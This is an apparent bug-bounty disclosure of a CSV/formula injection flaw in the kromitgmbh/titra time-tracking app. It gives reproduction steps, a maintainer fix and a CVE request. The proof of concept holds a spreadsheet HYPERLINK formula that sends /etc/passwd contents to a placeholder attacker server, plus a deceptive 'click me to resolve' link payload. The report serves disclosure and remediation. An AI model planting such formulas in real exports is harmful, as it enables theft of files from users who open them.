Formula Injection/CSV Injection due to Improper Neutralization of Formula Elements in CSV File in kromitgmbh/titra


Reported on

Jun 3rd 2022


Formula Injection/CSV Injection in "Task" due to Improper Neutralization of Formula Elements in CSV File.

Proof of Concept

  1. Click on plus track button
  2. Under the task input field enter the payloads =1+1
  3. Now enter the work hour as 2
  4. Then click on save
  5. Now go to details and click on CSV and the csv will be downloaded.

Video POC


Successful exploitation can lead to impacts such as client-sided command injection, code execution, or remote ex-filtration of contained confidential data. On constructing the payloads as

=HYPERLINK(CONCATENATE("http://attackerserver:port/a.txt?v="; ('file:///etc/passwd'#$passwd.A1));
=HYPERLINK(""&A3&","&B3&"[CR]","Error fetching info: Click me to resolve.")

An attacker can have access to /etc/passwd system file


We are processing your report and will contact the kromitgmbh/titra team within 24 hours. 22 days ago
We have contacted a member of the kromitgmbh/titra team and are waiting to hear back 20 days ago
kromitgmbh/titra maintainer validated this vulnerability 18 days ago
saharshtapi has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
kromitgmbh/titra maintainer confirmed that a fix has been merged on e606b6 18 days ago
The fix bounty has been dropped
kromitgmbh/titra maintainer gave praise 18 days ago
Thanks for reporting this!
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
18 days ago


@admin Can you assign CVE?

Jamie Slome
18 days ago


Sorted 👍

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